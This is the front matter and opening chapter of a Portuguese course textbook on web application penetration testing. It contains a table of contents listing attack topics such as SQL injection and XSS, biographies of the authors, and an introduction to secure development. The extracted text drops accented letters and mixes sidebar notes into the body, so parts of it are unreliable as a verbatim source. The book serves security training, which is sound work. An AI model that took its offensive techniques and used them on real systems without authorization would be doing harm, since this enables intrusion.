Você está na página 1de 513

Teste de Invaso

de Aplicaes
Web
Nelson Uto
Teste de Invaso
de Aplicaes
Web

Nelson Uto
Teste de Invaso
de Aplicaes
Web

Nelson Uto

Rio de Janeiro
Escola Superior de Redes
2013
Copyright 2013 Rede Nacional de Ensino e Pesquisa RNP
Rua Lauro Mller, 116 sala 1103
22290-906 Rio de Janeiro, RJ

Diretor Geral
Nelson Simes

Diretor de Servios e Solues


Jos Luiz Ribeiro Filho

Escola Superior de Redes


Coordenao
Luiz Coelho

Edio
Pedro Sangirardi

Coordenao Acadmica de Segurana e Governana de TI


Edson Kowask

Equipe ESR (em ordem alfabtica)


Celia Maciel, Cristiane Oliveira, Derlina Miranda, Elimria Barbosa, Lanusa Silva,
Lourdes Soncin, Luciana Batista, Luiz Carlos Lobato, Renato Duarte e Sergio de Souza

Capa, projeto visual e diagramao


Tecnodesign

Verso
1.1.0

Este material didtico foi elaborado com fins educacionais. Solicitamos que qualquer erro encon-
trado ou dvida com relao ao material ou seu uso seja enviado para a equipe de elaborao de
contedo da Escola Superior de Redes, no e-mail info@esr.rnp.br. A Rede Nacional de Ensino e
Pesquisa e os autores no assumem qualquer responsabilidade por eventuais danos ou perdas, a
pessoas ou bens, originados do uso deste material.
As marcas registradas mencionadas neste material pertencem aos respectivos titulares.

Distribuio
Escola Superior de Redes
Rua Lauro Mller, 116 sala 1103
22290-906 Rio de Janeiro, RJ
http://esr.rnp.br
info@esr.rnp.br

Dados Internacionais de Catalogao na Publicao (CIP)

U91s UTO, Nelson.


Teste de invaso de aplicaes web / Nelson Uto. Rio de Janeiro: RNP/ESR, 2013.
510 p. : il. ; 27,5 cm

ISBN 978-85-63630-17-9

1. Computadores Medidas de segurana. 2. Hackers. 3. Software Manuteno.


Testes. 4. Crime por computador Preveno. I. Ttulo.

CDD 005.8
Sumrio

1. Segurana em aplicaes web


Introduo1

Exerccio de nivelamento 1 Desenvolvimento de software3

Ciclo de desenvolvimento de software seguro3

Exerccio de fixao 1 Atividades de segurana5

OWASP5

Arquiteturas e tecnologias de aplicaes web6

Exerccio de nivelamento 2 Requisitos de segurana8

Reviso de criptografia8

Cifras9

Funes de hash criptogrficas11

MACs11

Assinaturas digitais12

Certificados digitais12

Protocolos SSL e TLS13

Exerccio de fixao 2 Segurana da informao15

Reviso dos protocolos HTTP e HTTPS16

Requisio16

Resposta17

Mtodos18

Cdigos de estado18

Cabealhos18

Cookies19

Autenticao HTTP19

Exerccio de fixao 3 Protocolo HTTP20

iii
Esquemas de codificao20

Codificao de URL20

Codificao HTML21

Roteiro de Atividades 123

Atividade 1 Arquiteturas e tecnologias de aplicaes web23

Atividade 2 Mecanismos criptogrficos23

Bibliografia 134

2. Reconhecimento e mapeamento
Introduo 37

Exerccio de nivelamento 1 Teste de invaso38

Metodologia de teste de invaso39

Exerccio de fixao 1 Etapas de um teste de invaso42

Ferramentas bsicas42

Navegadores web43

Proxies de interceptao44

Web spiders46

Fuzzers47

Varredores de portas e servios47

Varredores de vulnerabilidades48

Outras ferramentas49

Exerccio de fixao 2 Tipos de ferramentas50

Reconhecimento51

Levantamento de informaes em fontes pblicas52

Google hacking52

Identificao de sistema operacional, servios e portas55

Identificao do servidor web56

Levantamento dos mtodos suportados pelos servidores web59

Deteco de hosts virtuais59

Descoberta de arquivos e diretrios60

Exerccio de fixao 3 Fase de reconhecimento62

Mapeamento62

Cpia das pginas e recursos da aplicao62

Identificao dos pontos de entrada de informao63

Relacionamento com as informaes de reconhecimento64

Exerccio de nivelamento 2 Validao unilateral64

iv
Descoberta de vulnerabilidades e explorao65

Explorao de controles no lado cliente65

Exerccio de fixao 4 Segurana de controles67

Contramedidas67

Roteiro de Atividades 269

Atividade 1 Ferramentas bsicas69

Atividade 2 Reconhecimento74

Atividade 3 Mapeamento79

Atividade 4 Descoberta e explorao de vulnerabilidades82

Bibliografia 285

3. Teste do mecanismo de autenticao


Introduo87

Exerccio de fixao 1 Autenticao de usurio88

Exerccio de nivelamento 1 Autenticao de entidades88

Tecnologias de autenticao empregadas em aplicaes web89

Exerccio de nivelamento 2 Vulnerabilidades 94

Descoberta de vulnerabilidades e explorao94

Uso de informaes obtidas nas fases de reconhecimento e mapeamento95

Usurio e senha padronizados97

Enumerao de identificadores de usurios98

Mecanismo vulnervel de recuperao de senhas101

Funcionalidade Lembrar usurio103

Transporte inseguro de credenciais de acesso103

Falhas na implementao do mecanismo104

Mecanismo vulnervel de troca de senhas107

Autenticao com mltiplos fatores108

Ataque de fora bruta109

Ataque de dicionrio110

Ataque contra senhas armazenadas114

Inexistncia de poltica de senhas forte117

Negao de servio direcionada a usurios119

Engenharia social119

Exerccio de fixao 2 Vulnerabilidades em mecanismos de autenticao120

Contramedidas120

v
Roteiro de Atividades 3123

Atividade 1 Tecnologias de autenticao 123

Atividade 2 Descoberta de vulnerabilidades e explorao123

Bibliografia 3132

4. Teste do gerenciamento de sesses


Introduo133

Exerccio de fixao 1 Identificador de sesso135

Exerccio de nivelamento 1 Gerenciamento de sesses136

Descoberta de vulnerabilidades e explorao136

Identificadores de sesso previsveis136

Domnio de identificadores com baixa cardinalidade140

Transmisso em claro de identificadores de sesso141

Manipulao de identificador de sesso por meio de scripts142

Atributos de cookies144

Exerccio de fixao 2 Atributos para proteo146

Sequestro de sesso146

Ataque de fixao de sesso147

Encerramento vulnervel de sesso152

Sesses simultneas de um mesmo usurio152

Cross site request forgery153

Exerccio de fixao 3 Cross site request forgery157

Clickjacking157

Contramedidas163

Roteiro de Atividades 4165

Atividade 1 Introduo ao gerenciamento de sesses 165

Atividade 2 Descoberta de vulnerabilidades e explorao165

Bibliografia 4177

5. Cross-site scripting
Introduo179

Exerccio de nivelamento 1 Cross-site scripting180

Tipos de XSS180

XSS refletido181

XSS armazenado182

vi
XSS baseado em DOM182

Cross channel scripting185

Exerccio de fixao 1 XSS186

Worms baseados em XSS186

Exerccio de fixao 2 Tcnicas de evaso189

Descoberta de vulnerabilidades e explorao189

Pontos de injeo189

Roteiros de teste191

Obteno de identificador de sesso192

Adulterao de pgina194

Descoberta de histrico de navegao197

Captura de teclas digitadas no navegador web200

Quebra de token anti-CSRF201

Exerccio de fixao 3 Proteo contra CSRF202

Evaso de filtros202

Arcabouos de explorao204

Contramedidas207

Cdigo do Samy Worm207

Cdigo do Yamanner209

Roteiro de Atividades 5215

Atividade 1 Introduo215

Atividade 2 Tipos de XSS 215

Atividade 3 Worms baseados em XSS218

Atividade 4 Descoberta de vulnerabilidades e explorao218

Bibliografia 5231

6. Injeo de SQL
Introduo233

Exerccio de nivelamento 1 Consulta SQL problemtica235

Exerccio de fixao 1 Injeo de SQL235

Especificidades de alguns SGBDs236

Comandos de manipulao de dados236

Empilhamento de comandos237

Expresso condicional237

Comando de pausa238

Manipulao de caracteres e de cadeias de caracteres238

vii
Operadores bit-a-bit239

Comentrios239

Descoberta de vulnerabilidades e explorao240

Locais de injeo240

Testes bsicos241

Extrao de dados via UNION244

Identificao do servidor de banco de dados e de outras informaes247

Identificao das colunas da consulta249

Exerccio de fixao 2 Enumerao de tabelas via injeo de SQL250

Escalada de privilgios250

Descoberta e extrao de tabelas256

Manipulao de arquivos262

Funo definida pelo usurio270

Execuo de comandos no sistema operacional278

Varredura de redes280

Partio e balanceamento285

Injeo de SQL s cegas286

Exerccio de fixao 3 Ataque de injeo de SQL295

Injeo de SQL de segunda ordem295

Evaso de filtros296

Contramedidas297

Exerccio de fixao 4 Stored procedures 298

Roteiro de Atividades 6299

Atividade 1 Especificidades de SGBDs299

Atividade 2 Descoberta de vulnerabilidades e explorao300

Bibliografia 6313

7. Ataques de injeo
Introduo315

Exerccio de nivelamento 1 Ataques de injeo316

Injeo de comandos de sistema operacional316

Injeo em trilhas de auditoria319

Poluio de parmetros HTTP321

Injeo em filtros LDAP324

Injeo em filtros LDAP s cegas328

Injeo de comandos SMTP e de cabealhos de e-mail330

viii
Injeo de XPath335

Injeo de XPath s cegas339

Incluso de arquivos342

Contramedidas343

Exerccio de fixao 2 Medidas contra ataques344

Apndice Gramtica para representao textual de filtros de busca LDAP345

Gramtica da linguagem XPath 1.0347

Roteiro de Atividades 7351

Atividade 1 Injeo de comandos de sistema operacional 351

Atividade 2 Injeo em trilhas de auditoria352

Atividade 3 Poluio de parmetros HTTP353

Atividade 4 Injeo em filtros LDAP356

Atividade 5 Injeo em filtros LDAP s cegas358

Atividade 6 Injeo de comandos SMTP e de cabealhos de e-mail359

Atividade 7 Injeo de XPath362

Atividade 8 Injeo de XPath s cegas363

Atividade 9 Incluso de arquivos364

Bibliografia 7367

8. Teste do mecanismo de autorizao e da lgica de negcio


Introduo369

Exerccio de nivelamento 1 Vulnerabilidades em aplicaes web371

Acesso direto a recursos371

Acesso direto a pginas371

Uso do cabealho HTTP Referer372

Acesso direto a objetos373

Acesso direto a recursos estticos375

Exerccio de fixao 1 Aplicaes vulnerveis376

Controle de acesso no lado cliente da aplicao376

Autorizao no lado cliente da aplicao376

Manuteno de perfil no lado cliente da aplicao377

Proteo de referncias a objetos378

Percurso de caminho379

Redirecionamento no validado383

ix
Condies de corrida386

Exerccio de fixao 2 Condies de corrida387

Vulnerabilidades na lgica de negcio387

Transferncia de valor negativo388

Emprstimo acima do limite388

Exerccio de fixao 3 Ferramentas automatizadas390

Contramedidas390

Roteiro de Atividades 8393

Atividade 1 Acesso direto a recursos 393

Atividade 2 Controle de acesso no lado cliente da aplicao 397

Atividade 3 Percurso de caminho400

Atividade 4 Redirecionamento no validado401

Atividade 5 Condies de corrida403

Atividade 6 Vulnerabilidades na lgica de negcio404

Bibliografia 8405

9. Mecanismos criptogrficos
Introduo407

Exerccio de nivelamento 1 Acesso aplicao web408

Vulnerabilidades no transporte de informaes408

Verso vulnervel de SSL411

Suporte a sutes criptogrficas fracas412

Problemas com o certificado digital417

Acesso a domnio no verificado417

Uso de protocolos proprietrios418

Exerccio de fixao 1 Tipos de vulnerabilidades419

Contramedidas419

Vulnerabilidades no armazenamento de informaes420

Uso de BASE64421

Exerccio de fixao 2 BASE64422

Identificao e quebra de cifras clssicas422

Exerccio de nivelamento 2 Chave criptogrfica443

Recuperao de chaves embutidas em cdigo443

Gerao de chaves com baixa entropia444

Emprego de modo de operao inadequado445

x
Exerccio de fixao 3 ECB449

Uso incorreto de algoritmos criptogrficos449

Mistura de algoritmos com nveis de segurana diferentes451

Exerccio de fixao 4 Ataque a algoritmos452

Uso de algoritmos criptogrficos com fraquezas conhecidas452

Proteo de senhas de usurios453

Proteo de dados de cartes de pagamento454

Contramedidas455

Roteiro de Atividades 9457

Atividade 1 Vulnerabilidades no transporte de informaes457

Atividade 2 Vulnerabilidades no armazenamento de informaes459

Bibliografia 9467

10. Escrita de relatrios e exerccio completo


Introduo469

Common Vulnerability Scoring System470

Base470

Exerccio de fixao 2 Perigo de vulnerabilidades474

Tipos de relatrios474

Relatrio detalhado474

Relatrio executivo477

Exerccio de fixao 3 Resultado de teste de invaso477

Apndice477

Tabela de escore de base de acordo com o CVSS477

Exemplo de relatrio detalhado479

Exemplo de sumrio executivo485

Roteiro de Atividades 10487

Atividade 1 Teste da aplicao Vicnum 487

Atividade 2 Capture a bandeira 487

Bibliografia 10489

xi
xii
Escola Superior de Redes
A Escola Superior de Redes (ESR) a unidade da Rede Nacional de Ensino e Pesquisa
(RNP) responsvel pela disseminao do conhecimento em Tecnologias da Informao e
Comunicao (TIC).

A ESR nasce com a proposta de ser a formadora e disseminadora de competncias em


TIC para o corpo tcnico-administrativo das universidades federais, escolas tcnicas e
unidades federais de pesquisa. Sua misso fundamental realizar a capacitao tcnica
do corpo funcional das organizaes usurias da RNP, para o exerccio de competncias
aplicveis ao uso eficaz e eficiente das TIC.

A ESR oferece dezenas de cursos distribudos nas reas temticas: Administrao e Pro-
jeto de Redes, Administrao de Sistemas, Segurana, Mdias de Suporte Colaborao
Digital e Governana de TI.

A ESR tambm participa de diversos projetos de interesse pblico, como a elaborao


e execuo de planos de capacitao para formao de multiplicadores para projetos
educacionais como: formao no uso da conferncia web para a Universidade Aberta do
Brasil (UAB), formao do suporte tcnico de laboratrios do Proinfo e criao de um con-
junto de cartilhas sobre redes sem fio para o programa Um Computador por Aluno (UCA).

A metodologia da ESR
A filosofia pedaggica e a metodologia que orientam os cursos da ESR so baseadas na
aprendizagem como construo do conhecimento por meio da resoluo de problemas tpi-
cos da realidade do profissional em formao. Os resultados obtidos nos cursos de natureza
terico-prtica so otimizados, pois o instrutor, auxiliado pelo material didtico, atua no
apenas como expositor de conceitos e informaes, mas principalmente como orientador do
aluno na execuo de atividades contextualizadas nas situaes do cotidiano profissional.

A aprendizagem entendida como a resposta do aluno ao desafio de situaes-problema


semelhantes s encontradas na prtica profissional, que so superadas por meio de anlise,
sntese, julgamento, pensamento crtico e construo de hipteses para a resoluo do pro-
blema, em abordagem orientada ao desenvolvimento de competncias.

Dessa forma, o instrutor tem participao ativa e dialgica como orientador do aluno para as
atividades em laboratrio. At mesmo a apresentao da teoria no incio da sesso de apren-
dizagem no considerada uma simples exposio de conceitos e informaes. O instrutor
busca incentivar a participao dos alunos continuamente.

xiii
As sesses de aprendizagem onde se do a apresentao dos contedos e a realizao das
atividades prticas tm formato presencial e essencialmente prtico, utilizando tcnicas
de estudo dirigido individual, trabalho em equipe e prticas orientadas para o contexto de
atuao do futuro especialista que se pretende formar.

As sesses de aprendizagem desenvolvem-se em trs etapas, com predominncia de


tempo para as atividades prticas, conforme descrio a seguir:

Primeira etapa: apresentao da teoria e esclarecimento de dvidas (de 60 a 90 minutos).


O instrutor apresenta, de maneira sinttica, os conceitos tericos correspondentes ao tema
da sesso de aprendizagem, com auxlio de slides em formato PowerPoint. O instrutor
levanta questes sobre o contedo dos slides em vez de apenas apresent-los, convidando
a turma reflexo e participao. Isso evita que as apresentaes sejam montonas e que o
aluno se coloque em posio de passividade, o que reduziria a aprendizagem.

Segunda etapa: atividades prticas de aprendizagem (de 120 a 150 minutos).


Esta etapa a essncia dos cursos da ESR. A maioria das atividades dos cursos assncrona e
realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades proposto no
livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar dvidas e oferecer
explicaes complementares.

Terceira etapa: discusso das atividades realizadas (30 minutos).


O instrutor comenta cada atividade, apresentando uma das solues possveis para
resolv-la, devendo ater-se quelas que geram maior dificuldade e polmica. Os alunos so
convidados a comentar as solues encontradas e o instrutor retoma tpicos que tenham
gerado dvidas, estimulando a participao dos alunos. O instrutor sempre estimula os
alunos a encontrarem solues alternativas s sugeridas por ele e pelos colegas e, caso
existam, a coment-las.

Sobre o livro
O livro apresenta uma metodologia de verificao da segurana por meio da simulao de
ataques reais, explorando as vulnerabilidades de um ambiente, plataforma ou sistema, os
quais so reconhecidamente os principais meios explorados para roubo de informaes
confidenciais e invaso de redes corporativas.

Para ser um profissional de pentest, preciso muito mais do que utilizar ferramentas
automatizadas: so necessrios conhecimentos diferenciados e tcnicas avanadas que
permitam a compreenso ampla de cenrios de vulnerabilidades.

Este livro apoia o curso de formao destes novos profissionais atravs das melhores pr-
ticas para testes de invaso, contendo atividades de simulao de ataques em ambiente de
teste virtualizado. Ao final do curso, o aluno estar apto a avaliar a eficincia da segurana
de sua organizao, e a propor o modelo de maturidade em segurana de software mais
adequado sua necessidade.

A quem se destina
Curso voltado para tcnicos, analistas e administradores de redes que desejam obter o
conhecimento sobre tcnicas, padres internacionais e ferramental para realizao de tes-
tes de invaso em aplicaes web. Tambm indicado para tcnicos e gestores responsveis
pelo desenvolvimento e suporte de sistemas, e para profissionais de computao interes-
sados em adquirir conhecimento diferencial na rea de segurana ciberntica.

xiv
Convenes utilizadas neste livro
As seguintes convenes tipogrficas so usadas neste livro:

Itlico
Indica nomes de arquivos e referncias bibliogrficas relacionadas ao longo do texto.

Largura constante

Indica comandos e suas opes, variveis e atributos, contedo de arquivos e resultado da


sada de comandos.

Contedo de slide
Indica o contedo dos slides referentes ao curso apresentados em sala de aula.

Smbolo
Indica referncia complementar disponvel em site ou pgina na internet.

Smbolo
Indica um documento como referncia complementar.

Smbolo
Indica um vdeo como referncia complementar.

Smbolo
Indica um arquivo de adio como referncia complementar.

Smbolo
Indica um aviso ou precauo a ser considerada.

Smbolo
Indica questionamentos que estimulam a reflexo ou apresenta contedo de apoio ao
entendimento do tema em questo.

Smbolo
Indica notas e informaes complementares como dicas, sugestes de leitura adicional ou
mesmo uma observao.

Permisses de uso
Todos os direitos reservados RNP.
Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra.
Exemplo de citao: UTO, Nelson. Teste de Invaso de Aplicaes Web. Rio de Janeiro: Escola
Superior de Redes, RNP, 2013.

Comentrios e perguntas
Para enviar comentrios e perguntas sobre esta publicao:
Escola Superior de Redes RNP
Endereo: Av. Lauro Mller 116 sala 1103 Botafogo
Rio de Janeiro RJ 22290-906
E-mail: info@esr.rnp.br

xv
Sobre os autores
Nelson Uto bacharel e mestre em Cincia da Computao pela Universidade Estadual de
Campinas Unicamp. Durante o mestrado, realizado sob superviso do Prof. Dr. Ricardo
Dahab, abordou a segurana de sistemas de agentes mveis e implementou, para a plata-
forma Aglets da IBM, alguns dos mecanismos estudados. Neste mesmo perodo, avaliou
artigos para congressos nacionais em Segurana da Informao e para o peridico Journal
of Universal Computer Science. Possui, tambm, vrios artigos publicados em congressos
nacionais e internacionais, discorrendo sobre diversos temas de Segurana da Informa-
o. Trabalha na rea de TI h 15 anos, sendo 9 deles em Segurana da Informao e, em
especial, em criptografia aplicada e segurana de software. Nesta rea, dentre os projetos
de pesquisa e de consultoria dos quais participou, pode-se citar: criptoanlise de arquivos
gerados por malwares; testes de invaso de aplicaes web e cliente-servidor; anlise de
vulnerabilidades em implementaes criptogrficas; aplicao da tcnica K-Means para a
gerao semiautomtica de regras de correlao de eventos de segurana; gerenciamento
de chaves criptogrficas; anlise de bibliotecas com suporte Criptografia de Curvas Elpti-
cas para as plataformas XScale e x86; verificao da correo dos algoritmos criptogrficos
implementados por uma biblioteca comercial; anlise de riscos de sistemas com base na
norma ISO/IEC 18028; avaliao de vulnerabilidades de sistemas operacionais e SGBDs;
elaborao de polticas de segurana e auditoria PCI. Tem experincia no desenvolvimento
de softwares em linguagens C, C++, Java e Assembly x86. Como projetos mais interessan-
tes nesse domnio esto a criao de um driver ODBC-JDBC e um tradutor 4GL-Java, para a
gerao automtica de cdigo semanticamente equivalente em Java a partir de programas
em 4GL. Por fim, professor de graduao e ps-graduao, ministrando disciplinas nas
reas de Segurana e Tecnologia da Informao, alm de coordenar h trs anos um curso
de ps-graduao em segurana.

Edson Kowask Bezerra profissional da rea de segurana da informao e governana


h mais de quinze anos, atuando como auditor lder, pesquisador, gerente de projetos e
gerente tcnico, em inmeros projetos de gesto de riscos, gesto de segurana da infor-
mao, continuidade de negcios, PCI, auditoria e recuperao de desastres em empresas
de grande porte do setor de telecomunicaes, financeiro, energia, indstria e governo.
Com vasta experincia nos temas de segurana, tem atuado tambm como palestrante nos
principais eventos do Brasil e ainda como instrutor de treinamentos focados em segurana
e governana. professor e coordenador de cursos de ps-graduao na rea de segurana
da informao, gesto integrada, de inovao e tecnologias web. Hoje atua como Coordena-
dor Acadmico de Segurana e Governana de TI da Escola Superior de Redes.

xvi
Dedico este trabalho:
Marcia Hoffmann, pela companhia, amor e pacincia;
minha famlia, pela educao que me foi dada;
Aos verdadeiros amigos, que sempre me estenderam a mo quando precisei;
A todos os autores que, ao compartilharem conhecimento, auxiliaram a criao deste livro.

Nelson Uto

xvii
xviii
1
Segurana em aplicaes web
objetivos

Introduzir conceitos sobre desenvolvimento de software seguro e rever diversos


tpicos relacionados criptografia e aos protocolos HTTP e HTTPS.

conceitos
Ciclo de desenvolvimento de software seguro, arquiteturas e tecnologias de
aplicaes web, criptografia, pro-tocolos HTTP e HTTPS.

Introduo
Vulnerabilidades em softwares tm sido amplamente utilizadas por atacantes para q
roubo de informaes confidenciais e invases de redes corporativas.

Prover a segurana de um software, porm, no um objetivo fcil de ser alcanado,


dada a complexidade dos sistemas nos dias de hoje.

Facilmente, eles atingem dezenas de milhares de linhas de cdigo, que contm, invariavel-
mente, quantidade de defeitos significativa. Alguns destes tm impacto direto em segurana,
podendo acarretar desde a indisponibilidade do sistema at o controle total do computador
por um atacante. Para piorar ainda mais esse cenrio, considere que, normalmente, um
ciclo de desenvolvimento de software seguro no adotado, o que resulta, no mnimo, em
especificaes inseguras e configurao vulnervel das plataformas subjacentes.

Common Para se ter uma ideia mais clara do mundo real, no perodo de 2001 a 2006 o nmero de
Vulnerabilites
and Exposures vulnerabilidades em sistemas reportado ao Common Vulnerabilities and Exposures sim-
Dicionrio pblico plesmente triplicou. Alm disso, houve mudana nos tipos de fraquezas mais comumente
contendo descries
encontradas, como possvel observar na Figura 1. O extravasamento de buffer, campeo
de vulnerabilidades de
Captulo 1 - Segurana em aplicaes web

segurana descobertas. da lista por muitos anos consecutivos, perdeu o lugar, a partir de 2005, para vulnerabili-
SQL dades de injeo de cdigo, como o cross-site scripting e injeo de SQL, por exemplo. Esses
Structured Query tipos de fraquezas afetam, basicamente, sistemas web e indicam duas coisas:
Language uma
linguagem baseada 1 A recente popularizao das interfaces web para comrcio eletrnico, internet banking
na lgebra relacional, e configurao de elementos de rede.
que utilizada para
manipular informaes 1 Os problemas de segurana desse domnio no esto sendo adequadamente conside-
contidas em bancos de rados durante o processo de desenvolvimento, tanto por ignorncia como pela presso
dados relacionais.
causada por cronogramas de entrega apertados.

Extravasamento de buffer uma vulnerabilidade comum em programas escritos em lin-


guagem de baixo nvel e ocorre quando possvel escrever em uma regio de memria alm

1
dos limites alocados para uma dada estrutura, como um vetor, por exemplo. O resultado da
explorao do problema pode ser desde um trmino abrupto do programa at o controle
total do sistema operacional.
% do total de vulnerabilidades reportado ao CVE

25

20

15

Cross-site scripting
Extravasamento de buer
10
Injeo SQL
Navegao de diretrio
5 PHP Include
Vazamento de informao
Negao de servio
0
2001 2002 2003 2004 2005 2006 Estouro de inteiro
Ano
possvel considerar, de modo geral, que nem um software est livre de vulnerabilidades de Figura 1.1
segurana, principalmente quando a complexidade deles for grande. Progresso da ocor-

q
rncia das principais
A melhor estratgia a ser adotada, ento, consiste em encontrar essas vulnerabilidades vulnerabilidades
reportadas ao CVE.
o mais cedo possvel e corrigi-las imediatamente, antes que sejam exploradas por usu-
rios maliciosos. Veja algumas maneiras de realizar essa tarefa:

1 Anlise de documentos de requisitos, projeto e arquitetura: permite detectar


problemas no projeto e arquitetura da aplicao.

1 Anlise de cdigo-fonte: a melhor ferramenta possvel para deteco de vulnerabi-


lidades em software, mas pode ser proibitiva para sistemas muito grandes, devido ao
tempo que a tarefa consome. Alguns tipos de defeitos de segurana, porm, somente
podem ser encontrados dessa maneira.

1 Teste de invaso: esse o tema deste curso e consiste na execuo de ataques visando
violar os requisitos de segurana explcitos e implcitos de uma aplicao. O processo
todo realizado ciclicamente e, a cada interao, a base de conhecimento sobre o
sistema aumenta e novas vulnerabilidades podem ser descobertas e exploradas.

1 Ferramentas automatizadas: so timas para auxiliar um analista de segurana na


execuo de processos repetitivos e deteco de alguns tipos de vulnerabilidades.
Porm, no so capazes de encontrar inmeras classes de problemas, que necessitam de
um conhecimento do domnio da aplicao e da semntica dos parmetros utilizados.
Teste de Invaso de Aplicaes Web

Vale ressaltar que vulnerabilidades em software, frequentemente, so as responsveis


pelo comprometimento do bem mais importante da empresa, que a informao. Assim,
esforos devem ser direcionados para mitigar os riscos decorrentes da criao e utilizao
de softwares inseguros nos processos de negcio das empresas. Tal objetivo s alcanado
plenamente por meio da implantao de um ciclo de desenvolvimento de software seguro.

No contexto apresentado, o objetivo deste captulo revisar os principais conceitos necessrios


realizao de um teste de invaso de aplicaes web. Desse modo, o restante deste captulo
inclui noes de um ciclo de desenvolvimento de software seguro, arquiteturas e tecnologias de
aplicaes web, conceitos de criptografia e reviso dos protocolos HTTP e HTTPS.

2
Exerccio de nivelamento 1 e
Desenvolvimento de software
Sua organizao adota um ciclo de desenvolvimento de software seguro?

Ciclo de desenvolvimento de software seguro


Um software seguro aquele que satisfaz os requisitos implcitos e explcitos de segu- q
rana em condies normais de operao e em situaes decorrentes de atividade mali-
ciosa de usurios. Para isso, deve resultar de um ciclo de desenvolvimento que considere
aspectos de segurana em todas as suas fases (McGraw, 2006; Kissel et al., 2008):

1 Na etapa de especificao, requisitos explcitos de segurana devem ser enumerados


e requisitos funcionais devem ser avaliados para verificar se no introduzem uma
vulnerabilidade no sistema.

1 Atividades comumente realizadas na fase seguinte, a de projeto, incluem o mapea-


mento do modelo de dados para estruturas lgicas e fsicas, a definio de padres
de interface a serem utilizados, a escolha de elementos de hardware e software que
faro parte da soluo e o desenho da topologia a ser adotada.

1 Para minimizar vulnerabilidades de codificao, os desenvolvedores devem ser trei-


nados em tcnicas gerais de programao segura e nas especificidades das lingua-
gens com as quais trabalham.

1 Testes de segurana so fundamentalmente diferentes de testes funcionais e, por


isso, devem ser feitos por profissionais especializados.

1 Por fim, e no menos importantes, encontram-se a implantao do sistema no


ambiente de produo e a manuteno.

Todavia, muitos desenvolvedores comeam a se preocupar com segurana somente quando


o software est quase finalizado, pois acreditam, erroneamente, ser possvel trabalhar
dessa maneira. Tal abordagem s contribui para maior custo, pois as correes de vulnerabi-
lidades tornam-se mais caras medida que se avana pelas fases de desenvolvimento,
conforme ilustrado na Figura 1.2, extrada de Wysopal et al. (2006).

Fase Custo relativo para correo

Definio 1

Projeto de alto nvel 2


Captulo 1 - Segurana em aplicaes web

Projeto detalhado 5

Codificao 10

Teste de unidade 15
Figura 1.2
Custo relativo de Teste de integrao 22
correo de software
de acordo com a Teste de sistema 50
fase do ciclo de
desenvolvimento. Ps-entrega 100

3
Cada fase de um ciclo de desenvolvimento de software seguro, portanto, tem sua parcela de
contribuio para a qualidade do resultado final e no pode ser omitida durante o processo.
Na etapa de especificao, requisitos explcitos de segurana devem ser enumerados e
requisitos funcionais devem ser avaliados para verificar se no introduzem uma vulnerabi-
lidade no sistema. Um caso ilustrativo o do suposto Microsoft Bob, um programa criado
para auxiliar o usurio do sistema operacional sempre que se encontrasse em dificuldades
na realizao de alguma tarefa. Seguindo essa filosofia, sempre que um usurio errasse
a senha trs vezes consecutivas, ele aparecia e perguntava se desejava troc-la, para
conectar-se ao ambiente (McGraw, 2006). Nessa situao, no importa quo bem implemen-
tada esteja a funcionalidade: o sistema continuar intrinsecamente inseguro.

Atividades comumente realizadas na fase seguinte, a de projeto, incluem o mapeamento


do modelo de dados para estruturas lgicas e fsicas, a definio de padres de interface a
serem utilizados, a escolha de elementos de hardware e software que faro parte da soluo
e o desenho da topologia a ser adotada. Nesse contexto, um problema muito comum de
segurana que surge o posicionamento incorreto do banco de dados na topologia de rede.
Para ilustrar esse ponto, considere o levantamento realizado por Litchfield, no final de 2005,
em que foram detectados cerca de 350 mil bancos de dados, contendo dados de produo
diretamente na DeMilitarized Zone DMZ externa das empresas (Litchfield, 2007). Esse DMZ
exemplo evidencia pelo menos um dos inmeros aspectos de segurana que devem ser con- Segmento de rede que
separa redes protegidas
siderados no projeto do software, ao lado de decises sobre protocolos seguros de comuni-
de no protegidas,
cao e seleo de algoritmos criptogrficos. como a internet,
e utilizado para
O prximo passo consiste na implementao do software propriamente dito, em uma ou prover servios para
mais linguagens de programao, dependendo de cada caso. Para minimizar vulnerabi- o ambiente externo.
Assim, servidores web
lidades de codificao, os desenvolvedores devem ser treinados em tcnicas gerais de
e de correio eletrnico
programao segura e nas especificidades das linguagens com as quais trabalham. Por normalmente so
exemplo, extravasamento de buffer um problema comum em programas feitos em C e instalados na DMZ. O
termo tem origem na
C++ (Seacord, 2005), mas no ocorre na linguagem Java, pois a mquina virtual verifica se
regio de terra neutra
um acesso a um vetor est dentro dos limites possveis. Ferramentas automatizadas para que separa as Coreias
reviso de cdigo podem ser de grande ajuda na identificao de padres reconhecida- do Norte e do Sul.

mente inseguros de programao, como o uso das funes strcpy() e strcmp() em C/C++.

Testes de segurana so fundamentalmente diferentes de testes funcionais e, por isso,


devem ser feitos por profissionais especializados. Os ltimos so descritos em casos de
testes, os quais definem um roteiro dos passos a serem seguidos e o resultado esperado de
um comportamento no defeituoso. Obviamente, nenhum sistema criado com caminhos
documentados de como os requisitos de segurana podem ser subjugados, e a reside a
diferena. Portanto, ao procurar vulnerabilidades em um software, o testador segue uma
linha de raciocnio diferente da tradicional, ao colocar-se no lugar do usurio malicioso, que
tenta encontrar fluxos no previstos que possam comprometer a aplicao. A automao
Teste de Invaso de Aplicaes Web

de algumas tarefas nesse processo pode implicar ganho de produtividade, mas o papel do
especialista continua sendo fundamental.

Por fim, e no menos importantes, encontram-se a implantao do sistema no ambiente


de produo e a manuteno. Antes da liberao para o uso, fundamental que todos os
servidores utilizados pela aplicao sejam robustecidos, com eliminao de servios e contas
desnecessrios e configurao dos parmetros de segurana de acordo com as melhores
prticas estabelecidas para as plataformas. Correes de segurana devem ser aplicadas
periodicamente no ambiente, principalmente, aquelas consideradas crticas. Caso criptossis-
temas com chave sejam empregados, procedimentos adequados de gerenciamento de chaves

4
criptogrficas devem ser adotados (Menezes et al., 2001; Barker et al., 2007a,b). E, no caso de
comprometimento do sistema, o problema deve ser identificado e imediatamente corrigido.

Invariavelmente, todo software sempre apresenta uma ou mais falhas de segurana ao


longo de sua existncia. Assim, razovel concluir que utpico construir um sistema
completamente invulnervel. Porm, com um ciclo de desenvolvimento seguro, possvel,
no mnimo, produzir consistentemente sistemas com um nmero reduzido de brechas e que
possuam mecanismos de proteo contra os diversos ataques conhecidos.

Exerccio de fixao 1 e
Atividades de segurana
Que atividades de segurana podem ser includas em cada etapa de um ciclo de desenvolvi-
mento de software seguro?

OWASP
